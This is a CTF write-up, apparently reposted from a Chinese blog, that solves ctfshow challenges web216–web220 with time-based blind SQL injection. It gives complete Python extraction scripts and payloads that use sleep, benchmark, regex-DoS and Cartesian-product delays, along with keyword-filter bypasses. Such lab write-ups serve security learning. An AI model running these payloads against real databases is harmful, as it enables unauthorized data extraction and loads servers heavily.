0


ctfshow-web入门-sql注入(web216-web220)时间盲注结束

1、web216

最开始还以为是需要进行 base64 的相关处理,其实不必,直接闭合掉前面的括号即可,因为这里是字符串的拼接,将我们的 payload 替换掉那个 $id 。

在上一题的脚本上稍作修改:

# @author:Myon
# @time:20240813
import requests
import string

url = 'http://d695fa2a-e7ee-408f-a3df-407b8d98b14e.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"0)or if(substr(database(),{j},1)='{k}',sleep(3),0)#"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
        # payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
        # payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名
        payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flag

        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

我们知道数据库名应该还是 ctfshow_web,那就直接跑列名吧:

payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}

表名为:ctfshow_flagxcc

查列名:

payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}

查一下这个 flagaac:

payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}

拿到 flag:ctfshow{fc21aa5c-96ca-462a-ab81-954c58a38d55}

2、web217

淦,sleep 给过滤掉了,采用 benchmark 函数代替(之前面试就遇到过,时间盲注里 sleep 函数被过滤了怎么办,当时没答上来哈哈哈)

该函数是 MySQL 的一个内置函数,用于测试函数或表达式的执行速度,用法:

benchmark(count,expr),重复执行 count 次 expr 表达式,使得处理时间很长。

比如:

benchmark(10000000,md5('myon'))

将会执行 md5('myon') 10000000 次进而产生延时,可以测一下看看:

debug=1&ip=benchmark(10000000,md5('myon'))

大概执行了 10 秒钟

太久了,我们找一个合适点的次数:

debug=1&ip=benchmark(3000000,md5('myon'))

这个大概三秒钟,和我们前面设置的 sleep(3) 差不多

用 benchmark(3000000,md5('myon')) 替换脚本里的 sleep(3)。

我们也直接从表名开始吧,注意结尾不要接注释符,因为你前面没有闭合单引号,后面如果给注释掉,闭合是有问题的,无法产生延时。

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} 

拿到表名为 ctfshow_flagxccb,继续查列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}

查 flagaabc:

payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}

拿到 flag:ctfshow{65c24007-f50d-40a0-adde-4d67771a2e79}

完整脚本:

# @author:Myon
# @time:20240813
import requests
import string

url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 跑flag

        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

3、web218

sleep 和 benchmark 都被过滤了,采用其他方法。

正则 DOS RLIKE注入:

利用 SQL 多次计算正则消耗计算资源产生延时效果,与 benchmark 原理类似,通过 rpad 或 repeat 构造长字符串,以计算量大的 pattern。

debug=1&ip=if(substr(database(),1,1)='c',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)

这个大概有 3 秒的延时

我们也可以用 repeat 来简化一下,但是这个参数不太好调,并不是说越大耗时就越长

debug=1&ip=repeat(rpad('a', 999999, 'a'),16) rlike concat(repeat('(a.*)+',14), 'b')

这个大概有两秒以上的延迟吧

函数说明:

rlike 是 SQL 中用于执行正则表达式匹配的函数。

rpad(str,len,padstr) 用字符串 padstr 对 str 进行右边填补直到长度达到 len,返回 str 。

repeat(str,times) 就是复制 str 字符串 times 次。

concat 我们前面说过了,就是用来做拼接的。

为了结果准确些,我们还使用延时长一点的 3s 吧:

rlike 也可以用 regexp 代替

delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"

前面的脚本是用 if 语句进行判断,这里写一下 try 语句,不用获取响应消耗的时间,而是我们手动设置一个请求超时的时间,因为前面的延时大概是 3s ,这里超时时间设小一点,为 1.5s。

我们还是直接跑表名:

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}

得到表名是 ctfshow_flagxc

接下来跑列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}

看着有点问题,我们将超时时间再改小一点:

re = requests.post(url, data=payload,timeout=1)

这次没问题,拿到列名 flagaac

查字段信息:

payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay}"}

跑着跑着又出问题,我还是改回了 0.5s 的超时

re = requests.post(url, data=payload,timeout=0.5)

这样搞其实对服务器也有一定影响,我们可以在猜到一个字符后就延时一会儿再继续猜,一定程度上可以提高准确率。

这次跑出来是:ctfshow{b8414820p-83dk2-458c-8f75-4d6sf4202a08c4d}

交了一下,果然不对,有问题。

后面我才发现,它这个延时没有之前的 3s 了,只有 1s 多点。

可能我们测试久了影响到了环境,那就将延时设置为 0.8 吧。

最后试了下,还是用获取总的耗时判断更为准确些:

正确 flag:ctfshow{b8414820-83d2-458c-8f75-4d6f420a8c4d}

我以为是设置超时容易误判,但是又试了一下设置超时的方法,在开始循环遍历前以及猜出正确字符后都进行延时,超时时间为 0.8s:

跑出结果一样,那就说明是那个判断时间的问题,因为一开始在 hackbar 测试,那个 payload 大概是 3s,结果后面变成了只有 1s 左右,因此 1s 和 0.5s 都可能会导致结果不准确,这里主要还是设置好一个判定时间,改成 0.8s 就比较准确了,具体多少取决于你实际题目环境。

完整脚本:

# @author:Myon
# @time:20240814
import requests
import string
from time import *

url = 'http://5729e629-2a49-4f06-a7a4-c9a247648427.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"

for j in range(1, 50):
    for k in dic:
        sleep(0.2)  # 遍历每个字符前延时0.2s
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"}  # 跑flag
        try:
            re = requests.post(url, data=payload,timeout=0.8)
        except:
            out += k
            break
    print(out)
    sleep(1)  # 猜对一个字符延时1s
    
    #     re = requests.post(url, data=payload)
    #     if re.elapsed.total_seconds() > 0.8:
    #         out += k
    #         break
    # print(out)

除了 rlike&regexp注入,这道题还可以采用笛卡尔积注入,我们放在下一题说。

4、web219

这里把 rlike 过滤了,可以用 regexp 代替:

delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp concat(repeat('(a.*)+',6),'b')"

我们只证明可行,这里以跑列名为例:

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名

说实话,我是真觉得 elapsed.total_seconds() 比 timeout 准确很多,因为刚才用请求超时的方法跑出来又有误差。

拿到表名:ctfshow_flagxca

后面我们使用笛卡尔积注入来实现:

让 Mysql 进行笛卡尔算积使其造成大负荷查询达到延时的效果

笛卡尔积(因为连接表是一个很耗时的操作)

AxB=A和B中每个元素的组合所组成的集合,就是连接表

在 mysql 下有一个很大的数据库 information_schema ,包含了所有的数据库和表信息。

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

可以按照这个规律,从 C 后面加个逗号,写 D,E 等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。

使用

(select count(*) from information_schema.columns A, information_schema.columns B)

代替 sleep 函数

查列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名

边测试边调整判定时间,我这里最后测出来是 0.4s 比较合适

if re.elapsed.total_seconds() > 0.4:

拿到列名:flagaabc

最后查字段信息:

payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag

拿到 flag:ctfshow{6ff5e1c5-00b2-4177-a9ab-483645d05dfc}

完整脚本:

# @author:Myon
# @time:20240814
import requests
import string

url = 'http://4b0eb2f3-4461-4df7-b139-e9ef2a0ef978.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.4:
            out += k
            break
    print(out)

5、web220

过滤掉了 sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr

我们这里是直接判断的字符,因此没有使用到 ascii ,就算是基于 ASCII 码值判断的,ascii 被过滤了,也可以用ord 替代;

rlike 被过滤,如果用正则的注入则可以采用 regexp 代替;

mid、substr 被过滤,可以采用 right、left、rpad、lpad 等,这个方法在前面布尔盲注我们已经介绍过了,这里还可以采用 like,延时我们还是使用笛卡尔积。

这个 like 的用法其实我们前面也介绍过,结合 % 进行通配,还有印象吗?

没印象的可以再去看看前面的布尔盲注。

我们先猜表名:

payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

有问题

看了一下,这个笛卡尔积在我这道题目环境测出来大概是 1s 左右的延时,因此我们需要调大判断的时间,否则就容易出误判:

调成了 0.8s 再跑一次:

if re.elapsed.total_seconds() > 0.8:

这次就很 nice 了

拿到表名 ctfshow_flagxcac,我们继续跑列名:

注意,这里过滤了 concat ,因此我们的 group_concat 也无法使用,采用 limit 。

payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 0, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

第一行是 id,我们看下其他行的结果,调整 limit 的参数看第二行的结果:

limit 1, 1
payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

字段名为 flagaabcc

查该字段的详细信息:

payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

我这里跑了三次,前两次都有点问题,可以在代码中加上一定延时以提高准确率。

拿到 flag:ctfshow{f1f9ef13-cd3a-4f56-b05a-297fe580efa8}

附上完整脚本:

# @author:Myon
# @time:20240814
import requests
import string

url = 'http://57957d8f-f6a5-4769-a1b7-c87499c0995e.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        # payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.8:
            out += k
            break
    print(out)

至此,时间盲注结束。

标签: sql 数据库 安全

本文转载自: https://blog.csdn.net/Myon5/article/details/141174233
版权归原作者 Myon⁶ 所有, 如有侵权,请联系我们删除。

“ctfshow-web入门-sql注入(web216-web220)时间盲注结束”的评论:

还没有评论